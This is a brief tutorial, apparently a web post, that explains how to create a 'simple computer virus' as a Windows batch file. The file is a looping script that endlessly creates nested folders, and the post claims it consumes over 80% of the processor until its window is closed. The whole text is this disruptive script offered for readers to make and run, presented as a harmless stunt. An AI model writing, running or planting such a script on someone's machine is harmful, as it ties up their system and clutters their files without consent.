How to create a simple computer virus file

Here is the procedure to create simple virus file.

Step 1 : Open notepad

Step 2 : type the following code in it

:virus
md virus
cd virus
goto virus

step 3 : Save the notepad file as virus.bat 

The file will be saved as a BATCH FILE which is possible to execute. Now execute the file by double clicking. This is called folder in folder virus. After executing you can check the performance of the system. It will be consuming more than 80% of you processor. To stop the virus just simply close the executed window.